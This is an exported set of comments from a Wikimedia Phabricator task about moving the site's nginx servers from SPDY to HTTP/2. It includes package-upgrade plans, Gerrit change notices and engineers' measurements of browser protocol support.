+[[https://gerrit.wikimedia.org/r/279991]]",,,1461013938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+647569,Support HTTP/2,"Change 279990 abandoned by BBlack:
+multicert   libssl1.0.2 patches for 1.9.12
+
+[[https://gerrit.wikimedia.org/r/279990]]",,,1461013934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+647568,Support HTTP/2,"Change 279989 abandoned by BBlack:
+Import Upstream version 1.9.12
+
+[[https://gerrit.wikimedia.org/r/279989]]",,,1461013931,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+646713,Support HTTP/2,">>! In T96848#2203163, @BBlack wrote:
+> Notable: there's an ongoing report of 1.9.14 causing an HTTP/2 proto error in Chrome.  We may need to be wary and stick with .13 or wait for .15: http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008143.html
+
+[[ http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008152.html | It looks like the problem is with Chrome, not Nginx ]], though a [[ http://hg.nginx.org/nginx/rev/8df664ebe037 | workaround ]] has been committed to the Nginx source tree.
+
+https://bugs.chromium.org/p/chromium/issues/detail?id=603182",,,1460747587,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,41,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+645031,Support HTTP/2,Notable: there's an ongoing report of 1.9.14 causing an HTTP/2 proto error in Chrome.  We may need to be wary and stick with .13 or wait for .15: http://mailman.nginx.org/pipermail/nginx-devel/2016-April/008143.html,,,1460555836,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+644417,Support HTTP/2,"Making the above analysis harder for anyone else looking: that's not a percentage of client connections using SPDY, it's a percentage of client **requests** using SPDY.  There are many unknown variables on how many requests occur per connection, some of which are directly correlated with whether a client is using SPDY and some of which are not...",,,1460486027,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+644369,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.
+
+{F3866227, size=full, layout=center}
+(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).
+
+I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies to both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460483059,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+644367,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.
+
+{F3866227, size=full, layout=center}
+(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).
+
+I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460482957,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+644366,Support HTTP/2,"Coloring in some additional details. I noticed a regression in first paint time on desktop over the past three months and found a correlated slump in the percent of client connections using SPDY. There appears to be a major slump in SPDY penetration in early January, followed by a slow, partial recovery, followed by an additional slump in early April.
+
+{F3866227, size=full, layout=center}
+(If you want to examine the graph in Graphite, you can import its [[ https://graphite.wikimedia.org/render/?width=887&height=467&_salt=1460435901.599&from=-100days&target=movingAverage(sumSeries(varnish.clients.spdy.*.rate)%2C40)&target=secondYAxis(movingAverage(frontend.navtiming.firstPaint.desktop.anonymous.median%2C40)) | URL ]]).
+
+I am not able to associate these slumps with a change to the suite of supported protocols in a major browser. What more, the first paint regression which correlates to the slumps in SPDY penetration applies on both desktop and mobile. This suggests to me that they were not caused by a change in client behavior, but instead a change to our infrastructure.",,,1460482914,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+640729,Support HTTP/2,"re: nginx upstream+debian: debian's ""master"" branch is still at 1.9.10-1, but their ""dyn"" branch has work beyond that up through 1.9.13 and not yet released, which also re-structures packaging and whatnot for dynamic modules.  Need to look into whether this plays well as an upgrade on jessie or not.",,,1459865865,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+640045,Support HTTP/2,"Mostly out of curiosity, I've checked which protocols are supported by other top-10 websites by looking at NPN responses: 
+
+| google.com / youtube.com | h2, spdy/3.1, http/1.1 |
+| facebook.com | h2, h2-14, spdy/3.1-fb-0.5, spdy/3.1, spdy/3, http/1.1|
+| baidu.com |  http/1.1 |
+| yahoo.com | h2, h2-14, spdy/3.1, spdy/3, http/1.1, http/1.0 |
+| amazon.com | http/1.1 |
+| twitter.com | h2, spdy/3.1, http/1.1 |
+",,,1459758329,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,39,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+636544,Support HTTP/2,"Change 280149 merged by BBlack:
+configure cp1008 for http2
+
+[[https://gerrit.wikimedia.org/r/280149]]",,,1459220043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+636543,Support HTTP/2,"Change 280148 merged by BBlack:
+tlsproxy: use do_spdy to control http2-vs-spdy
+
+[[https://gerrit.wikimedia.org/r/280148]]",,,1459219889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+636540,Support HTTP/2,"Change 280149 had a related patch set uploaded (by BBlack):
+configure cp1008 for http2
+
+[[https://gerrit.wikimedia.org/r/280149]]
+",,,1459219413,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636539,Support HTTP/2,"Change 280148 had a related patch set uploaded (by BBlack):
+tlsproxy: use do_spdy to control http2-vs-spdy
+
+[[https://gerrit.wikimedia.org/r/280148]]
+",,,1459219411,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636413,Support HTTP/2,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVO_HyARgCrwkbTdl5lm} [2016-03-28T21:26:41Z] <bblack> http/2 enabled on pinkunicorn.wikimedia.org for testing - T96848",,,1459200401,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+636362,Support HTTP/2,"Change 279991 had a related patch set uploaded (by BBlack):
+nginx (1.9.12-1 wmf1) jessie-wikimedia; urgency=medium
+
+[[https://gerrit.wikimedia.org/r/279991]]
+",,,1459195282,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636361,Support HTTP/2,"Change 279990 had a related patch set uploaded (by BBlack):
+multicert   libssl1.0.2 patches for 1.9.12
+
+[[https://gerrit.wikimedia.org/r/279990]]
+",,,1459195281,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636360,Support HTTP/2,"Change 279989 had a related patch set uploaded (by BBlack):
+Import Upstream version 1.9.12
+
+[[https://gerrit.wikimedia.org/r/279989]]
+",,,1459195279,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+636357,Support HTTP/2,1.9.12 porting/packaging was fairly trivial so far.  Testing on cp1008/pinkunicorn to happen later today or tomorrow.,,,1459195214,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+635831,Support HTTP/2,"The basic plan for moving forward is to start from debian's current 1.9.11 packaging, update it to 1.9.12 (because .12 upstreams our temporary fix for openssl ""shutdown while in init"" log spam, and contains an http/2 socket leak bugfix), and forward-port our multi-cert patches from our custom 1.9.4 package to a new custom 1.9.12 package.  I'm hoping we'll have the package ready for testing on pinkunicorn by mid next week if the forward-porting goes smoothly, or the week after if not.  If functional testing works out, we'll then be in a position to deploy this when we decide it's appropriate to make the switch.  We still do need to take some broader and longer samples with the systemtap method to confirm overall stats.",,,1459000874,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+635830,Support HTTP/2,"On looking into the spdy/3 stats drop, my suspicion is something has changed with IE11 (that it has dropped SPDY/3 for http/[12]), but I still haven't found a good source confirming this.",,,1459000823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+634768,Support HTTP/2,"We still don't have a broad, long sample, but using @ema's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:
+
+```
+total: 141066
+both: 54089
+npn_http1: 17949
+alpn_spdy: 6308
+npn_spdy: 4112
+h2: 2196
+```
+
+Which makes a box like the earlier ones that looks like:
+
+| Protocol | Percentage |
+| --- | --- |
+| h2 only | 1.6% |
+| spdy3 only | 7.4% |
+| spdy3+h2 | 38.3% |
+| none | 52.7% |
+
+Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April.",,,1458825619,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+634767,Support HTTP/2,"We still don't have a broad, long sampe, but using ema's new systemtap stuff (which is way better than the sniffer-based solution), a 10-minute sample on cp1048 just now (upload eqiad) gives:
+
+```
+total: 141066
+both: 54089
+npn_http1: 17949
+alpn_spdy: 6308
+npn_spdy: 4112
+h2: 2196
+```
+
+Which makes a box like the earlier ones that looks like:
+
+| Protocol | Percentage |
+| --- | --- |
+| h2 only | 1.6% |
+| spdy3 only | 7.4% |
+| spdy3+h2 | 38.3% |
+| none | 52.7% |
+
+Given different time of day and different continent, we'd expect some variation from previous runs.  But still, it's hard not to argue that some browsers out there recently dumped spdy3 for http2-only and/or http1-only.  Turning the above into a net tradeoff: with only spdy3 server-side, we get 45.7% spdy3, and with only http2 server-side, we get 39.9% http2.  I'd say we're in striking range, and we should at least get an updated http2-only nginx package ready soon so that it can be deployed easily.  We could target sometime in April.",,,1458825607,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+634583,Support HTTP/2,Given https://grafana.wikimedia.org/dashboard/db/client-connections?panelId=5&fullscreen&from=1458171959186&to=1458776759186 it might be worth re-calculating the h2/spdy3/spdy3+h2/none numbers again…,,,1458780452,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,38,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+626993,Support HTTP/2,"Change 276233 merged by Ema:
+Add h2_spdy_stats.stp
+
+[[https://gerrit.wikimedia.org/r/276233]]",,,1457597737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+626566,Support HTTP/2,"Change 276233 had a related patch set uploaded (by Ema):
+Add h2_spdy_stats.stp
+
+[[https://gerrit.wikimedia.org/r/276233]]
+",,,1457549417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+624208,Support HTTP/2,">>! In T96848#2092243, @ori wrote:
+> I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.
+
+%%% Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan. %%%
+
+In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.
+
+See also <http://caniuse.com/#feat=spdy> and <http://caniuse.com/#feat=http2>.",,,1457297228,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1
+624207,Support HTTP/2,">>! In T96848#2092243, @ori wrote:
+> I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.
+
+Note that Internet Explorer and Safari both appear to have ""interesting"" bindings with their operating system. Internet Explorer introduced HTTP2 support in IE 11, but only works on Windows 10. Safari introduced H2 support in Safari 9, but only works on OSX 10.11 El Capitan.
+
+In theory, Mobile Safari has the same limitation, but it's less observable for iOS since Mobile Safari is never upgraded outside OS upgrades anyway.
+
+See also <http://caniuse.com/#feat=spdy> and <http://caniuse.com/#feat=http2>.",,,1457297141,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1
+624059,Support HTTP/2,"I think it's going to be easier and probably more reliable to determine HTTP/2 support by inferring it from the user-agent string, which can be done offline on the analytics cluster.",,,1457240647,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+622759,Support HTTP/2,"
+I took another quick 5-minute sample just now in the EU like last time, but different time of day, and currently it's:
+
+| Protocol | Percentage |
+| --- | --- |
+| h2 only | 3.0% |
+| spdy3 only | 20.9% |
+| spdy3+h2 | 33.6% |
+| none | 42.5% |
+
+With these limited samples is hard to infer much in terms of trend really, but they're easy to generate as one-offs.  The problem is the tools for it are very low-level one-off stuff - it's literally coming from live ethernet packet captures, which isn't something we'd normally roll into a reusable stats script or anything.  Also, should play around a bit more with our assumptions: right now we're assuming anything that sends NPN but not ALPN must support SPDY and not H/2, but technically that's not necessarily the case (e.g. there could be oddballs out there which send NPN but only use it to advertise H/1.1, and do not implement ALPN yet.  Maybe they do SPDY only when built on certain platforms, but always have the NPN part of the code turned on?).  The problem with NPN is that, unlike ALPN, the data inside the option that specifies the protocol list is actually encrypted, so it's quit a bit more work (but still possible!) to capture it on our end.
+
+Regardless, we probably should start finding a way to take this data more-reliably and see the real trends (e.g. twice a day snapshots across all machines, at US/EU peak-ish times, maybe).  It could probably be semi-automated from cron and salt for a while and then removed when we make the switch.  Still, it's a bit scary to automate it.",,,1457040347,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+622741,Support HTTP/2,"Thanks for the update, @BBlack, and for your work in this space. I think we're on the same page. Let's check in again in April.",,,1457039022,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+622737,Support HTTP/2,">>! In T96848#2085945, @ori wrote:
+> @bblack, @ema: can you confirm that we are on track for having HTTP/2 support on or by May 15th? Also, can you recommend a way for us to project the impact of this change ahead of the actual switch / upgrade? (e.g., can it be staged on a canary Varnish/NGINX server that we can point WebPageTest at?)
+
+In my mind, we don't really have a choice; failing to have HTTP/2 when Chrome shuts off SPDY is a non-option.  It's not difficult for us to move forward to HTTP/2 if we're willing to dump SPDY, we just have to update our nginx packages and forward-port our other local patches (which are mostly openssl/cert -related, not protocol-related).  When we get closer, we'll most likely stage this on pinkunicorn.wikimedia.org again.
+
